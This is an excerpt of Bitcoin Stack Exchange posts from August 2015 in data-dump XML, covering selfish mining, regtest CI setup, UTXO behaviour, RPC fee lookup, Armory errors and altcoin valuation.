  <row Id="39226" PostTypeId="1" CreationDate="2015-08-24T21:28:54.957" Score="5" ViewCount="279" Body="&lt;p&gt;I've been looking at selfish mining and empty blocks.  In all cases, the selfish miner profits by keeping block solutions private until their value to his own pool is maximized, rather than releasing them ASAP which is the honest way to do it.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If the protocol were changed to make holding back a block far riskier than it is currently, I think this would go a long way to solving the problem presented by selfish mining.  A selfish pool holds a solved block until someone else solves a block at the same height.  The selfish pool then releases its pre-solved block (having had time to privately seed the global network so that as many honest miners as possible will see the selfish block first) to orphan the honest miner's block.  Currently, the risk is that enough honest miners might choose the honest block with the result that the selfish miner loses both the reward for having solved it first and the advantage of being one block ahead. The papers on selfish mining show that this risk is not great enough to prevent selfish mining.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The protocol currently expects a miner to use the first block that adds to the chain.  If this rule (actually a suggestion) were changed to expect a miner to use the block that destroys the most bitcoin days, selfish miners would risk far more by holding back their solutions.  It would still be relatively easy for a selfish miner who has gotten ahead to exploit his position by saving the solution until it can be used (if it destroys more bitcoin days) to orphan someone else's solution, but the risk that the other solution might destroy more bitcoin days would be significant.  Even if the selfish miner seeded his solution with his own very old UTXOs, he would be wasting some of his ammunition (bitcoin days).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Additionally, the rule that a miner use the first seen block or any other rule to resolve conflicts when two blocks show up as possible extensions to the current chain is not enforceable.  So perhaps what is needed is not for the protocol to change, but for miners (who would like to prevent the selfish mining attack) trying to decide between two new block heads to use bitcoin days destroyed to decide.  Publishing this idea, however, is not warranted until it has been criticized for flaws.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So have at it!&lt;/p&gt;&#xA;" OwnerUserId="1434" LastActivityDate="2016-05-25T23:15:21.460" Title="Can Bitcoin Days Destroyed be a better resolution mechanism for competing blocks?" Tags="|block|selfish-mining|" AnswerCount="1" CommentCount="6" ContentLicense="CC BY-SA 3.0" />
  <row Id="39227" PostTypeId="2" ParentId="799" CreationDate="2015-08-24T22:17:44.057" Score="4" Body="&lt;p&gt;&lt;a href=&quot;http://en.blockchaindownload.nl/&quot; rel=&quot;nofollow&quot;&gt;http://en.blockchaindownload.nl/&lt;/a&gt; is a good way to download the full blockchains of bitcoin and litecoin. The site is new so i expect more improvements in the future.&#xA;They offer free torrent downloads uploaded 24/7 by 3 servers so bandwith is pretty good and the last upload at the time of writing this was a nicely compressed rar file!&lt;/p&gt;&#xA;" OwnerDisplayName="user28073" LastEditorDisplayName="user28073" LastEditDate="2015-10-13T15:45:27.833" LastActivityDate="2015-10-13T15:45:27.833" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="39229" PostTypeId="1" AcceptedAnswerId="39320" CreationDate="2015-08-25T05:04:19.393" Score="0" ViewCount="13112" Body="&lt;p&gt;I have an S3+ and yesterday it stopped showing up on my IP scan and connecting to my pool. It still runs the fan (very low speed though) and shows the lights for a network connection, so does my modem. But I can't access its setup or see it mining in my pool. I have tried all the usual troubleshoots, 3 different PSU's, reset, new internet connection but none of them helped, any idea why this could be happening, help is appreciated&lt;/p&gt;&#xA;" OwnerUserId="28076" LastEditorUserId="5406" LastEditDate="2016-03-15T14:46:53.740" LastActivityDate="2021-02-22T16:40:39.077" Title="My miner doesnt show up on network but running?" Tags="|asic|mining-hardware|miner-configuration|" AnswerCount="3" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="39234" PostTypeId="1" CreationDate="2015-08-25T18:16:04.813" Score="2" ViewCount="50" Body="&lt;p&gt;Say we have txA and txB, and txB contains an input that redeems an output from txA.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In order for a block containing both txA and txB to be valid, is it necessary that txB be after txA in the list of transactions for that block?&lt;/p&gt;&#xA;" OwnerUserId="902" LastActivityDate="2015-08-25T18:16:04.813" Title="Transaction ordering when one transaction redeems another within a block" Tags="|transactions|protocol|block|" AnswerCount="0" CommentCount="2" ClosedDate="2015-08-25T20:42:48.363" ContentLicense="CC BY-SA 3.0" />
  <row Id="39235" PostTypeId="1" AcceptedAnswerId="39237" CreationDate="2015-08-25T19:46:54.050" Score="1" ViewCount="377" Body="&lt;p&gt;Subtitle: &lt;strong&gt;travis-ci fails to run &lt;code&gt;generate&lt;/code&gt; JSON-RPC method on regtest&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm trying to setup CI process on &lt;a href=&quot;https://travis-ci.org&quot; rel=&quot;nofollow&quot;&gt;https://travis-ci.org&lt;/a&gt; platform to install bitcoind and start new blockchain using &lt;code&gt;regtest&lt;/code&gt; mode.&lt;br&gt;&#xA;I want to do this to run unit tests of my applications which uses wallet data. Methods against bitcoind are working fine except the &lt;code&gt;generate&lt;/code&gt; method which is needed to mine some bitcoins in regtest private chain.  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;It looks like some &lt;code&gt;bitcoind/travis-ci&lt;/code&gt; related issue.  &lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;&lt;code&gt;generate&lt;/code&gt; method is working fine in my local CI process (non-travis).&lt;/li&gt;&#xA;&lt;li&gt;Travis-CI is working fine if I comment the &lt;code&gt;generate&lt;/code&gt; method call in CI tests.  &lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;generate&lt;/code&gt; method call when using travis-ci fails with the following error:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{&quot;code&quot;:-32601,&quot;message&quot;:&quot;Method not found&quot;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;bitcoin.conf&lt;/code&gt;:  &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;server=1&#xA;regtest=1&#xA;gen=1&#xA;rpcuser=someuser&#xA;rpcpassword=somepass&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;.travis.yml&lt;/code&gt;:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;language: r&#xA;sudo: required&#xA;&#xA;before_script:&#xA;  - sudo apt-add-repository ppa:bitcoin/bitcoin -y&#xA;  - sudo apt-get update -qq&#xA;  - sudo apt-get install bitcoind -y&#xA;&#xA;r_github_packages:&#xA; - jangorecki/rbitcoind&#xA;&#xA;after_script:&#xA; - cat $(find . -maxdepth 1 -name &quot;*.Rcheck&quot; -type d)/tests/tests.Rout&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Is there any trick in setup I should use to make travis-ci capable to run CI on &lt;code&gt;regtest&lt;/code&gt; chain, including &lt;code&gt;generate&lt;/code&gt; method?&lt;/strong&gt;  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Leaving the build links just for reference:&lt;br&gt;&#xA;- &lt;code&gt;generate&lt;/code&gt; method commented - CI passed: &lt;a href=&quot;https://travis-ci.org/jangorecki/rpc.generate/builds/77207297&quot; rel=&quot;nofollow&quot;&gt;https://travis-ci.org/jangorecki/rpc.generate/builds/77207297&lt;/a&gt;&lt;br&gt;&#xA;- use &lt;code&gt;generate&lt;/code&gt; - CI failed: &lt;a href=&quot;https://travis-ci.org/jangorecki/rpc.generate/builds/77208666&quot; rel=&quot;nofollow&quot;&gt;https://travis-ci.org/jangorecki/rpc.generate/builds/77208666&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="4822" LastEditorUserId="4822" LastEditDate="2015-08-25T20:02:14.233" LastActivityDate="2015-08-25T21:07:50.813" Title="Continuous integration setup using bitcoind regtest on travis-ci" Tags="|bitcoind|json-rpc|block|regtest|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="39236" PostTypeId="2" ParentId="4503" CreationDate="2015-08-25T20:24:56.793" Score="1" Body="&lt;p&gt;Yes, you can. It's named Brain Wallet but... Both answears (@ThePiachu and @D.H.) lead you to catastrophy. Don't use external tools to create your brain wallet. Do it on your own on your PC disconnected from Intenet. There is a lot of tools to count SHA256 on your own. When you creating your passphrase use not only alphanumeric characters but also other.&lt;/p&gt;&#xA;" OwnerUserId="83779" LastActivityDate="2015-08-25T20:24:56.793" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="39237" PostTypeId="2" ParentId="39235" CreationDate="2015-08-25T20:32:36.760" Score="3" Body="&lt;h2&gt;v0.11.0 and after:&lt;/h2&gt;&#xA;&#xA;&lt;p&gt;Check and make sure that your daemon version is v0.11.0 or greater. If it is, the generate method should work.&lt;/p&gt;&#xA;&#xA;&lt;h2&gt;Pre v0.11.0:&lt;/h2&gt;&#xA;&#xA;&lt;p&gt;The &lt;code&gt;setgenerate true&lt;/code&gt; method should be used.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In a standard network (such as &lt;code&gt;testnet&lt;/code&gt; or &lt;code&gt;main&lt;/code&gt;), &lt;code&gt;setgenerate true&lt;/code&gt; will turn mining on indefinitely. In regtest, it just mines one block. You can also do &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;setgenerate(TRUE, 10)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;To mine 10 regtest blocks. The second parameter is called the generation limit.&lt;/p&gt;&#xA;" OwnerUserId="18196" LastEditorUserId="18196" LastEditDate="2015-08-25T21:07:50.813" LastActivityDate="2015-08-25T21:07:50.813" CommentCount="7" ContentLicense="CC BY-SA 3.0" />
  <row Id="39238" PostTypeId="1" CreationDate="2015-08-25T22:29:53.513" Score="0" ViewCount="977" Body="&lt;p&gt;So, I'm curious about the value of altcoins.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Let's say I were to create an altcoin, and get some people to use it... how would I calculate the value of the coin? Is this determined by exchanges? Or by how much money people give in exchange for X amount of the coin? I'm a bit confused by this. I've tried researching it, but nothing's really helped.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks in advance!&lt;/p&gt;&#xA;" OwnerUserId="28088" LastEditorUserId="516" LastEditDate="2017-10-21T03:46:01.027" LastActivityDate="2021-02-25T09:59:25.260" Title="How do I determine the value of new altcoins?" Tags="|exchanges|altcoin|value|" AnswerCount="3" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="39242" PostTypeId="2" ParentId="38057" CreationDate="2015-08-25T23:07:05.963" Score="1" Body="&lt;p&gt;If you are on a NAT network (192.168.****  or 10.*******) then use port forward in your router/modem and open 8333 in your firewalls.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Not behind NAT? Check all your firewalls and add a 8333 exception when needed&lt;/p&gt;&#xA;" OwnerDisplayName="user28073" LastActivityDate="2015-08-25T23:07:05.963" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="39245" PostTypeId="1" CreationDate="2015-08-26T02:10:58.140" Score="6" ViewCount="465" Body="&lt;p&gt;What is the purpose of a stackmachine if only some standard script forms are allowed? And why are some scripts allowed and perfectly fine in mined blocks but rejected by clients if found in transactions; what's the point of that? The more I read about script the less it makes sense.&lt;/p&gt;&#xA;" OwnerUserId="28003" LastEditorUserId="2306" LastEditDate="2015-09-08T02:27:46.040" LastActivityDate="2016-04-07T08:35:46.187" Title="What's the point of having a stack-based scripting language, if only a few standard forms are allowed?" Tags="|script|" AnswerCount="4" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="39246" PostTypeId="2" ParentId="39142" CreationDate="2015-08-26T02:33:30.587" Score="0" Body="&lt;p&gt;This fork means the devs on the new version of bitcoin (XT) would have complete control over any future updates on the bitcoin blockchain. &#xA;As already stated, any coins held from before the fork would be able to be spent twice once Bitcoin-XT mine the first 8MB block. &#xA;This is generally considered BAD, and is likely to drop the value of both bitcoin on both blockchains.&lt;/p&gt;&#xA;" OwnerUserId="28091" LastActivityDate="2015-08-26T02:33:30.587" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="39247" PostTypeId="2" ParentId="39245" CreationDate="2015-08-26T05:56:05.540" Score="1" Body="&lt;p&gt;OK, the original concept of scripts was not perfect. But with p2sh (BIP-16) any script can be realized&lt;/p&gt;&#xA;" OwnerUserId="12983" LastActivityDate="2015-08-26T05:56:05.540" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="39248" PostTypeId="1" AcceptedAnswerId="39249" CreationDate="2015-08-26T12:05:00.000" Score="2" ViewCount="185" Body="&lt;p&gt;What I want to know is, if I have a wallet with several addresses containing 10 BTC (let's say 1 BTC per address) in total and I want to send 5 BTC to a person, but first generating a new address (as this is advised for privacy reasons). What happens then? &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Are the Bitcoins from 5 random addresses first accumulated into the address I just generated, after which I can then use it to send the money to the receiving party?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Or how does it work?&lt;/p&gt;&#xA;" OwnerUserId="13162" LastActivityDate="2015-08-26T12:50:17.723" Title="Are Bitcoins contained associated with a wallet or with an address in a wallet?" Tags="|wallet|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="39249" PostTypeId="2" ParentId="39248" CreationDate="2015-08-26T12:36:38.393" Score="3" Body="&lt;p&gt;Bitcoins are associated with Unspent Transaction Outputs (&lt;a href=&quot;/questions/tagged/utxo&quot; class=&quot;post-tag&quot; title=&quot;show questions tagged &amp;#39;utxo&amp;#39;&quot; rel=&quot;tag&quot;&gt;utxo&lt;/a&gt;). A UTXO contains a script that defines the terms under which it may be spent. Usually, this terms are as simple as &quot;sign with correct private key&quot;, where said private key is associated with an address.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you create new addresses in your wallet, your coins are not moved. When you want to spend five of the bitcoins from your example, you'd end up using-up five UTXO with a balance of one bitcoin each.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you'd want to collect them in one address first, you'd have to send five bitcoins to the new address you created, i.e. actively send them to yourself.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I don't think that you'd increase your privacy by much, if you just sent the coins to yourself and immediately pass them on. Maybe a bit more plausible deniability, but not really much (because it would be curious that you'd just received five bitcoins from somebody else in the moment when you sent them on their way again).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What is commonly meant with the &quot;new address for each transaction&quot; paradigm, is that you never give out the same address for receiving a transaction twice. To wash coins by sending them to yourself, you'd probably want to send them to yourself several times and split them up in a bunch of different ways. However, if a good number of the outputs were then spent together in one transaction again, it would be obvious that you had split them up yourself anyway.&lt;/p&gt;&#xA;" OwnerUserId="5406" LastEditorUserId="5406" LastEditDate="2015-08-26T12:50:17.723" LastActivityDate="2015-08-26T12:50:17.723" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="39250" PostTypeId="1" CreationDate="2015-08-26T13:04:56.787" Score="1" ViewCount="354" Body="&lt;p&gt;I installed the Armory application a few days ago, i downloaded the zipped file from the Armory site and install it on my Linux OS, today I found out that I can actually build from code. So I built it from the code available on the VC. I run the ArmoryQt.py python script, it gives me an error:&#xA;e.g.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;python ArmoryQt.py&lt;/p&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;p&gt;Loading Armory Engine:&#xA;   Armory Version:       0.93.2&#xA;   Armory Build:         73b533cb2a&#xA;   PyBtcWallet  Version: 1.35&#xA;Detected Operating system: Linux&#xA;   OS Variant            : ('Ubuntu', '14.04', 'trusty')&#xA;   User home-directory   : /home/buildmds&#xA;   Satoshi BTC directory : /home/buildmds/.bitcoin/&#xA;   Armory home dir       : /home/buildmds/.armory/&#xA;   ArmoryDB directory     : /home/buildmds/.armory/databases&#xA;   Armory settings file  : /home/buildmds/.armory/ArmorySettings.txt&#xA;   Armory log file       : /home/buildmds/.armory/armorylog.txt&#xA;   Do wallet checking    : True&#xA;(ERROR) ArmoryQt.py:7085 - Socket already in use.  Sending CLI args to existing proc.&#xA;(ERROR) ArmoryQt.py:7089 - Exiting...&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Does this mean it is conflicting with the other Armory application I installed?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks for help, in advance&lt;/p&gt;&#xA;" OwnerUserId="26872" LastActivityDate="2015-08-26T13:04:56.787" Title="Armory Bitcoin Wallet Code and GUI application" Tags="|armory|" AnswerCount="0" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="39251" PostTypeId="2" ParentId="22239" CreationDate="2015-08-26T13:42:33.507" Score="3" Body="&lt;p&gt;I had this error trying to compile mcrypt. Here is how to use the configure command with CPPFLAGS&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;./configure CPPFLAGS=-I/usr/include/malloc/&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="28095" LastActivityDate="2015-08-26T13:42:33.507" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="39252" PostTypeId="2" ParentId="38814" CreationDate="2015-08-26T14:06:17.467" Score="2" Body="&lt;p&gt;You should reconsider your wallet switch. Mind that Coinbase can fully control your funds and it could lead to a similar fiasco we have seen in the past (Mt.Gox, etc.). Check out the &lt;a href=&quot;https://bitcoin.org/en/choose-your-wallet&quot; rel=&quot;nofollow&quot;&gt;web wallet section of bitcoin.org&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Export and import (if even possible) would expose your private keys or mnemonic seed and should therefore be avoided.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;A better option would be to send your coins from Multibit HD to Coinbase. It would be one transaction and the required fee would be not very hight (~0.0003 BTC).&lt;/p&gt;&#xA;" OwnerUserId="3697" LastActivityDate="2015-08-26T14:06:17.467" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="39253" PostTypeId="2" ParentId="39221" CreationDate="2015-08-26T14:14:35.990" Score="2" Body="&lt;p&gt;&lt;strong&gt;Full Documentation of Ethereum &quot;Frontier&quot;:&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://ethereum.gitbooks.io/frontier-guide/content/&quot; rel=&quot;nofollow&quot;&gt;http://ethereum.gitbooks.io/frontier-guide/content/&lt;/a&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Discussion Forum:&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://forum.ethereum.org&quot; rel=&quot;nofollow&quot;&gt;http://forum.ethereum.org&lt;/a&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="3697" LastActivityDate="2015-08-26T14:14:35.990" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="39254" PostTypeId="2" ParentId="39190" CreationDate="2015-08-26T14:27:42.120" Score="1" Body="&lt;p&gt;Bitcoin-Core does serval read and write operations. Blocks can also get deleted in case you have enabled &lt;code&gt;-prune&lt;/code&gt;. There are many read operations because your node will very likely serve/relay blocks to other nodes.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The performance of bitcoin-core is more likely constraint by your CPU because of heavy EC verify operations.&lt;/p&gt;&#xA;" OwnerUserId="3697" LastActivityDate="2015-08-26T14:27:42.120" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="39255" PostTypeId="2" ParentId="39238" CreationDate="2015-08-26T17:34:01.080" Score="0" Body="&lt;p&gt;To my knowledge, the more people adopt it and trade with it, the more value it has.&lt;br&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you could impose your will on others, forcing them to use your altcoin, the value is equivalent to a local government's currency. &lt;br&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If your altcoin implementation is perfect, Bitcoin pioneers, those who saw the potential of Bitcoin before public accept it, might sell their Bitcoin for your altcoin. At that time, the value should be similar to today's Bitcoin. &lt;br&gt;&lt;/p&gt;&#xA;" OwnerUserId="24601" LastActivityDate="2015-08-26T17:34:01.080" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="39256" PostTypeId="1" CreationDate="2015-08-26T17:48:56.270" Score="1" ViewCount="262" Body="&lt;p&gt;Can anyone recommend an honest/reliable escrow service? &lt;/p&gt;&#xA;&#xA;&lt;p&gt;With the ones I found searching the internet is that few of them are publishing their physical location so it's difficult to verify they physically exist.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Another concern is their dispute policy is lacking in detail.  My concern is what happens if the buyer claims their parcel never arrives and as the btc returned to them.  The exchange simply saying &quot;keep evidence of posting&quot; is lacking in detail so say the least.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Are there any escrow services in the uk?&lt;/p&gt;&#xA;" OwnerUserId="9468" LastActivityDate="2015-08-27T00:08:49.093" Title="Escrow Services" Tags="|escrow|" AnswerCount="1" CommentCount="0" ClosedDate="2015-08-29T04:15:33.473" ContentLicense="CC BY-SA 3.0" />
  <row Id="39257" PostTypeId="1" CreationDate="2015-08-26T18:49:03.423" Score="1" ViewCount="1325" Body="&lt;p&gt;I want to write a basic GPU miner from scratch for learning purposes. &#xA;By &quot;from scratch&quot; I don't mean that I am unwilling to use libraries but I want it to be similar to real GPU mining software, and I want to &lt;em&gt;learn in-depth&lt;/em&gt; from this.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;More specifically:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;&lt;p&gt;I want to write a functional GPU mining software.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;It should mine with a pool (I was thinking a pool that uses stratum but other protocols are fine).&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;It should be similar in efficiency to GPU mining software currently in use. (This isn't required but I would like to learn how it is done in &quot;real life&quot;)&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;I know python and java, and I can learn C if required. I know how Bitcoin mining works in general, but don't know the details of GPU mining algorithms communication protocols etc.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I was wondering where I should start. Where can I find libraries and general information about this process? Is this even possible or is it too difficult for one person?&#xA;I know I can use google but I don't know where to start.&lt;/p&gt;&#xA;" OwnerUserId="28017" LastEditorUserId="5406" LastEditDate="2016-02-21T15:57:37.890" LastActivityDate="2016-02-21T15:57:37.890" Title="Writing a GPU Bitcoin mining client (learning purposes)" Tags="|mining-pools|api|gpu-mining|mining-software|learning|" AnswerCount="0" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="39258" PostTypeId="1" CreationDate="2015-08-26T19:35:16.967" Score="2" ViewCount="11204" Body="&lt;p&gt;I have the password and mnemonic phase, thanks so much for any help &lt;/p&gt;&#xA;" OwnerUserId="28102" LastEditorUserId="24925" LastEditDate="2015-08-26T23:53:43.663" LastActivityDate="2017-02-28T13:28:17.437" Title="I have lost my blockchain.info wallet identifier and used a fake email, does anybody know if its recoverable still?" Tags="|wallet|blockchain.info|" AnswerCount="1" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="39259" PostTypeId="2" ParentId="39223" CreationDate="2015-08-26T21:22:27.133" Score="1" Body="&lt;p&gt;I found out about &lt;a href=&quot;https://coinkite.com/&quot; rel=&quot;nofollow&quot;&gt;Coinkite&lt;/a&gt; after I posted this. I send an email to their support team asking:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&quot;With this platform, will I be able to have a user link their wallet and be able so send bitcoins to another users wallet, regardless of what wallet they use?&quot;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I got a response of &quot;Yes&quot; and they sent me a &lt;a href=&quot;https://docs.coinkite.com/api/index.html&quot; rel=&quot;nofollow&quot;&gt;link to their docs&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="28065" LastActivityDate="2015-08-26T21:22:27.133" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="39260" PostTypeId="2" ParentId="39238" CreationDate="2015-08-26T22:16:44.010" Score="1" Body="&lt;p&gt;The price is found when offer and bid intersect. Exchanges are platforms that facilitate the management and visibility of these, but less efficient markets work as well. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;The price is what you can get for it in exchange. You cannot dictate the price except by providing your own offers/bids.&lt;/p&gt;&#xA;" OwnerUserId="5406" LastActivityDate="2015-08-26T22:16:44.010" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="39261" PostTypeId="1" AcceptedAnswerId="39262" CreationDate="2015-08-26T23:48:14.090" Score="0" ViewCount="915" Body="&lt;p&gt;I performed a bitcoin payment in the testnet, here is what I get when I execute &lt;code&gt;bitcoin-cli gettransaction &quot;11b8d5f89793e83e9e10b7ee51fa1b3445f6029f7d7efe4c82b3b261ec513a0e&quot;&lt;/code&gt;, as you can see the info doesn't include the fee charged in the transaction:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{&#xA;    &quot;amount&quot; : 0.20000000,&#xA;    &quot;confirmations&quot; : 2148,&#xA;    &quot;blockhash&quot; : &quot;0000000086bd0907763b02e8bcd45b18d9320441b7ffe7c019e9c95795c35cd9&quot;,&#xA;    &quot;blockindex&quot; : 3,&#xA;    &quot;blocktime&quot; : 1439865905,&#xA;    &quot;txid&quot; : &quot;11b8d5f89793e83e9e10b7ee51fa1b3445f6029f7d7efe4c82b3b261ec513a0e&quot;,&#xA;    &quot;walletconflicts&quot; : [&#xA;    ],&#xA;    &quot;time&quot; : 1439865606,&#xA;    &quot;timereceived&quot; : 1439865606,&#xA;    &quot;details&quot; : [&#xA;        {&#xA;            &quot;account&quot; : &quot;&quot;,&#xA;            &quot;address&quot; : &quot;mn2dMSfAX7s77ZD5jY3k8kjcuwtPLgu1Yi&quot;,&#xA;            &quot;category&quot; : &quot;receive&quot;,&#xA;            &quot;amount&quot; : 0.20000000,&#xA;            &quot;vout&quot; : 1&#xA;        }&#xA;    ],&#xA;    &quot;hex&quot; : &quot;...................&quot;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;But on &lt;a href=&quot;https://www.blocktrail.com/tBTC/tx/11b8d5f89793e83e9e10b7ee51fa1b3445f6029f7d7efe4c82b3b261ec513a0e&quot; rel=&quot;nofollow noreferrer&quot;&gt;blocktrail.com&lt;/a&gt; I can see the Fee for this same transaction:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/IeQxX.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/IeQxX.png&quot; alt=&quot;detail of the transaction on blocktrail.com&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="26842" LastActivityDate="2015-08-27T00:01:33.577" Title="How can I get the Fee involved in a Bitcoin transaction using RPC client (bitcoin-cli)?" Tags="|client|json-rpc|transaction-fees|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="39262" PostTypeId="2" ParentId="39261" CreationDate="2015-08-27T00:01:33.577" Score="1" Body="&lt;p&gt;Bitcoin transaction fees are implied by &lt;code&gt;sum(vin) - sum(vout)&lt;/code&gt;. The daemon doesn't display fee information on transactions you did not create because the value of the inputs isn't retained after they have been spent. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Block explorers show information that takes an additional set of indexes, it's not fair to compare the information shown by one and that returned by a very light weight full node. If you need more information like this on a regular basis you can use a middle layer like &lt;a href=&quot;https://github.com/bitpay/insight-api&quot; rel=&quot;nofollow&quot;&gt;Bitpays Insight&lt;/a&gt; which will maintain a comprehensive index of this sort of information for you externally. &lt;/p&gt;&#xA;" OwnerUserId="24925" LastActivityDate="2015-08-27T00:01:33.577" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="39263" PostTypeId="1" AcceptedAnswerId="39267" CreationDate="2015-08-27T00:07:56.273" Score="6" ViewCount="1948" Body="&lt;p&gt;I have downloaded and installed the precompiled Bitcoin Core OS-X (also successfully synchronized).  Every tutorial I have seen then directs one to begin using the executables bitcoind and bitcoin-cli. Unfortunately, these are &lt;strong&gt;unrecognized&lt;/strong&gt;.  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://bitcoin.stackexchange.com/questions/34045/is-it-possible-to-get-bitcoin-cli-without-having-to-build-all-bitcoin-source&quot;&gt;I've found this on the stack exchange&lt;/a&gt; as using &lt;code&gt;Help-&amp;gt;Debug&lt;/code&gt; Window which is incredibly helpful but I'm thinking it would be more advantageous to be able to run processes from command line...&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is it as simple as a missing symlink or something?  Or do I need to install from source in order to access these executables?&lt;/p&gt;&#xA;" OwnerUserId="28106" LastEditorUserId="-1" LastEditDate="2017-04-13T12:47:33.743" LastActivityDate="2015-08-27T10:23:19.517" Title="bitcoind and bitcoin-cli 'unrecognized', how can I access them from command line?" Tags="|bitcoind|bitcoin-core|client|mac|" AnswerCount="2" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
